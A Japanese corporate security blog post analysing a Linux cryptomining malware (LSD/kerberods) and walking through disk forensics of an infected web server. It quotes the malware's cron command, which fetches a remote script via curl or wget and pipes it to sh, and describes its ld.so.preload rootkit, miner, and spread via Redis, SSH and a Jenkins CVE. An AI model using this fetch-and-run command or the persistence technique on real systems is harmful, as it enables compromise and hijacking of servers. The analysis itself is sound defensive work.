はじめに
こんにちは、DeNAセキュリティ部のWanです。 セキュリティ部では、チート対策関連の開発や脆弱性診断、SOC・インシデントハンドリングなどを担当しています。 今回はSOC業務で解析を担当したマルウェアの挙動や具体的に行った解析手法について、紹介したいと思います。
マルウェア解析
DeNAでは、インシデントハンドリングを内製していて、マルウェア感染時の解析なども対象にしています。 今回は、インシデントハンドリングの模擬演習の一環として、 話題になっているマルウェア の感染を伴う簡易フォレンジックをある感染シナリオを想定して行いました。 このマルウェアが会社の重要情報などを持ち出すような挙動をするかを判断できる状態をゴールとして、解析しました。
解析結果を下記にまとめます。
感染シナリオでの攻撃の起点
攻撃の起点は、Remote Code Execution(遠隔任意コード実行、以下「RCE」と称する)の脆弱性などを利用して感染するケースを想定し、実際にWebアプリケーションのRCE脆弱性を利用してマルウェア感染を再現しました。 攻撃者がこのRCEの脆弱性を利用して下記のようなcronジョブを登録するところから始まります。
(curl -fsSL https://pastebin[.]com/raw/2wGUXFiE||wget -q -O- https://pastebin[.]com/raw/2wGUXFiE)|sh
このURLの先にこのようなシェルスクリプトが置かれています。
このスクリプトの中では、x64マシンの場合、pixeldrain[.]com
から1554470365x2890174166.jpg
というファイルをダウンロードします。
x86の場合は、wl_bHMB1
というファイルをダウンロードします。
さらにダウンロードしたバイナリを/tmp/kerberods
と名前を変更した上で、実行します。
wl_bHMB1解析
1554470365x2890174166.jpg
とwl_bHMB1
は基本的に同じ機能を持っているので、ここでwl_bHMB1
の方を解析します。
実はこのマルウェアのHashは
74becf0d1621ba1f036025cddffc46d4236530d54d1f913a4d0ad488099913c8
(64bit)とbab27f611518dc55b00b1a9287bdb8e059c4f4cc1607444f40e0c45d5842994f
(32bit)で、
すでに既知のマルウェアではあります。
ただし、virustotalなどでの動的解析の情報が少なく、どういった挙動をするマルウェアなのかよくわからない状態です。
今回はこのマルウェアの挙動を解析し、マルウェアが実際にどのような影響を及ぼすかを調査します。
このマルウェアの名前で検索すると、すでに このような記事 が公開されていることがわかりました。 とても詳しく記載されているのですが、残念なことにこの記事は一年前で、記載されているバイナリのHash値も一致しませんでした。 実際に我々が入手した最近のマルウェアの影響はこの記事のマルウェアと同じかどうか、この一年間で新しい機能が追加されたかを確かめる為に、解析を行いました。
この記事で記載しているように、まずwl_bHMB1
はUPXでパッキングされていて、かつUPXのマジックをUPX!
からLSD!
に改変されています。LSD!
をUPX!
にもどし、unpackできます。このバイナリはGolangで書かれているらしく、
https://github.com/sibears/IDAGolangHelper
というIDAのプラグインを使えばうまくシンボルをロードできました。シンボルが付いているバイナリの解析はとても楽です。早速眺めて見ましょう。
main_main
これはGolangでできたバイナリのエントリポイントです。この関数ではgithub_com_VividCortex_godaemon_MakeDaemon
を呼んで、プログラムをdaemon化します。同時に、自分のpidを/tmp/.X11unix
に書き込みます。
なぜ/tmp/.X11unix
ファイルを生成するかというと、前述のシェルスクリプトを読めばわかります:
if [ ! -f "/tmp/.X11unix" ]; then
という条件分岐で、一度マルウェアの本体が実行されたら繰り返しダウンロードしないようにしています。
このことから、もし/tmp/.X11unix
ファイルが存在していたら、感染が成功しマルウェアの本体が実行されたと考えることができます。
main_lsd
次にほとんどの攻撃はmain_lsd
関数の中で実行されます。
注意する必要があるのは、github_com_hippies_LSD_LSDC_Checkupdate
の関数の中で、https://pastebin[.]com/raw/HWBVXK6H
にアップデートの問い合わせを行っていることです。
lsdc
という文字列のレスポンスが返している場合、アップデートがあると判断して、既存のマルウェアプロセスを殺し、アップデートを行うことがわかります。
実際にアップデート内容の取得先はこちらのURLです:https://pastebin[.]com/raw/rPB8eDpu
。
私がこの記事を書いているうちに、これらのURLがコロコロ変わっていて、現在進行形でアップデートが行われていることがわかりました。 なので、マルウェアのhash値についてもまだまだ変化していくと考えられます。
github_com_hippies_LSD_LSDA_Aago
この関数は6379ポートに対して、Redis接続を試みます。
github_com_hippies_LSD_LSDA_Bbgo
アクセスできるホストへのsshログイン試行する関数です。
github_com_hippies_LSD_LSDA_Ccgo
8080ポートに対して、JenkinsのCVE-2019-1003000をスキャンする関数です。
github_com_hippies_LSD_LSDB_NetdnsWrite
この関数もmain_lsd
の中で呼ばれています。netdns
というサービスを登録する機能です。
root権限を奪われていない限り、この関数に影響は受けないと考えられます。
そのため、今回の解析対象からこの関数を外しました。
github_com_hippies_LSD_LSDB_LibWrite
この関数では、/usr/local/lib/libpamcd.c
を作成し、gccを使ってlibpamcd.so
にコンパイルします。
その後libpamcd.c
を削除し、libpamcd.so
を/etc/ld.so.preload/
ディレクトリに配置します。
先ほど紹介した記事では生成されたライブラリの名前はlibcryptod.so
とされており、今回解析中のマルウェアと差分があるようです。
マルウェアが検知を回避する為に、こういった特徴的な挙動も含めてアップデートしていることがわかります。
解析ではマルウェアを改造し、Sandboxでlibpamcd.c
が消されないようにしてSandboxで実行し、ソースコードを手に入れました。
ソースコードから分かる通り、libpamcd.so
では、fopen
、readdir
、access
などのlibcのAPIをhookingし、khugepageds
、kerberods
、ld.so.preload
、libpamcd.so
というファイルまたはプロセスを隠そうとしています。
root権限を取られていない場合はそもそも/usr/local/lib
への書き込み権限持っておらず、 libpamcd.so
ファイルの生成自体も失敗していると考えることができます。
github_com_hippies_LSD_LSDB_KWR
この関数から/tmp/khugepageds
というバイナリを作成し、実行します。
このバイナリもUPXによってpackingされていて、マジックをSYM!
に改変されています。
マルウェア本体と同じ手順でunpackして分析すると、/tmp/khugepageds
はマイニングプログラムで、
https://github.com/xmrig/xmrig
このソースコードに基づいて作成されていることがわかります。
github_com_hippies_LSD_LSDC_Cron
この関数は今回のマルウェアの永続化の肝心なポイントです。
この関数は名前の通り、cronのジョブを作っています。cronジョブの中身は、最初のマルウェアの起点として登録されたジョブと同じです。
(curl -fsSL https://pastebin[.]com/raw/2wGUXFiE||wget -q -O- https://pastebin[.]com/raw/2wGUXFiE)|sh
cronジョブが消されても、マルウェアのプロセスが存在していれば、cronジョブを復活させることができます。逆にマルウェアだけ消されても、cronジョブからマルウェアを再ダウンロードすることができます。
ディスクフォレンジック
静的解析で挙動の概要を掴んだ後、実際に他の攻撃もされていないかを確認するためにディスクイメージを確保して、フォレンジックを行いました。 実際のフォレンジックでは、メモリ確保が難しいケースもあるため、メモリが確保できない範囲でどの程度まで解析できるかを確認しました。
ディスクイメージをマウント
まずパーティションがどこから始まるのを調べます
$ fdisk -l -u webserver.image
設定する必要があります シリンダ数.
あなたは特別機能メニューからこれを行なうことができます
ディスク webserver.image: 0 MB, 0 バイト
ヘッド 255, セクタ 63, シリンダ 0, 合計 0 セクタ
Units = セクタ数 of 1 * 512 = 512 バイト
セクタサイズ (論理 / 物理): 512 バイト / 512 バイト
I/O size (minimum/optimal): 512 bytes / 512 bytes
ディスク識別子: 0x000c16af
デバイス ブート 始点 終点 ブロック Id システム
webserver.image1 2048 125829119 62913536 83 Linux
領域 1 は異なった物理/論理終点になっています:
物理=(1023, 254, 63) 論理=(7832, 127, 39)
始点が2048、sectorサイズが512なので、パーティション1が2048*512=1048576
バイト目から始まることが分かりました。
次にddでパーティション1を分離します
dd if=webserver.image of=webserver.image.disk1 skip=2048 bs=512
最後にパーティション1をマウントします
mkdir ./mnt
sudo mount -o loop,ro,noexec,offset=1048576 webserver.image ./mnt/
debugfsでディスクイメージを分析
マウントできたらマウントしたファイルシステムを調査することは勿論必要ですが、実際に消されたファイルの痕跡を確認したい場合は、debugfsでファイルシステムのジャーナルを見ることで確認できます。
具体的なやり方としては、まずパーティション1をdebugfsで開きます:
debugfs webserver.image.disk1
これでインタラクティブなシェルに入り、様々な操作ができます。
ここで/var/spool/cron
以下に(削除されたファイルも含めて)あったファイルを見てみましょう。
debugfs: ls -d var/spool/cron/
1311581 (12) . 1311558 (12) .. 1317177 (36) root
<1327692> (24) tmp.XXXXnoFifc 1327692 (4036) application
application
というファイルが作られて、中身を確認したら、今回のマルウェアが仕込んだcronジョブです。
ただしジャーナルは万能ではありません。全ての削除されたファイルを見られる訳ではありません。
ファイルが消された後、inodeが再利用されると、削除ファイルの一覧から出なくなります。
このようにファイルシステム内の更新時期が直近のファイルに注目していたところ、/var/spool/cron/application
、/tmp/.X11unix
と/tmp/bak
という三つのファイルに気付きました。
/var/spool/cron/application
と/tmp/.X11unix
は前述のマルウェアが生成されたファイルで既知の挙動です。
ログの分析
実際に/tmp/bak
の時間を見てみます:
Access: 2019-05-27 19:04:14.458620902 +0900
Modify: 2019-05-27 19:10:16.242615594 +0900
Change: 2019-05-27 19:10:16.242615594 +0900
19:10です。この時間前後に/var/log/secure
を眺めていたら怪しいログインが見つかりました。
May 27 19:19:09 webserver sshd[28590]: Received disconnect from xx.xx.x.xx: 11: disconnected by user
May 27 19:19:09 webserver sshd[28590]: pam_unix(sshd:session): session closed for user root
May 27 19:20:24 webserver sudo: application : TTY=pts/2 ; PWD=/home/application ; USER=root; COMMAND=/bin/bash
May 27 19:20:29 webserver sshd[29103]: Accepted publickey for root from xx.xx.xx.xx port 58095 ssh2
May 27 19:20:29 webserver sshd[29103]: pam_unix(sshd:session): session opened for user root by (uid=0)
どこが怪しいかというと、session opened for user application
のようなログがなく、いきなりapplication
ユーザーのコマンド実行履歴が出てきています。
httpdのログを確認すると、19:20:05頃に脆弱性のあるエンドポイントにアクセスしているようで、おそらくリバースシェルを貼る操作だと考えています。
host:xxx.xxx.xx.xx time:2019-05-27T19:20:05+09:00
時間軸を見れば、攻撃者がリバースシェルを貼ってapplication
ユーザーのシェルをとり、sudo命令を実行し、rootシェルを取得したと考えた方が自然です。
さらにこの環境は、application
ユーザーはパスワードなしでsudo実行可能という設定になっています。
rootユーザーの.bash_history
を見ると、
# 5月27日 月曜日 19時20分43秒 JST
uname -a
rootシェル取った後、uname -a
を攻撃者が実行させたと思われます。
このようにして、リバースシェルを貼った攻撃者の動きを解析していきました。
対応
実際にこのマルウェアに感染すると、Jenkinsサーバ、Redisサーバへの感染拡大、sshブルートフォースの攻撃が行われる可能性が非常に高いものとなります。 そのため、万が一感染してしまった場合、感染端末から到達可能な各サーバへのアクセスの有無、sshログインの成否などを調査するなど、比較的広い範囲での調査が必要になると考えられます。
振り返り
今回の演習やマルウェア解析を通して、下記のような一般的なセキュリティ対策の重要性を再確認することができました。
-
ウェブアプリケーションはroot権限、sudo権限などを持つべきではない。
-
リバースシェルのコマンド履歴は残っていない可能性も高いので、auditdで全てのコマンド実行履歴を残すことが有効。外部に転送しているとなお良い。
-a exit,always -F arch=b64 -S execve -a exit,always -F arch=b32 -S execve
-
NWの分離粒度を小さくすることによる被害の封じ込め(調査範囲を限定するために)
最後まで読んでいただき、ありがとうございます!
この記事をシェアしていただける方はこちらからお願いします。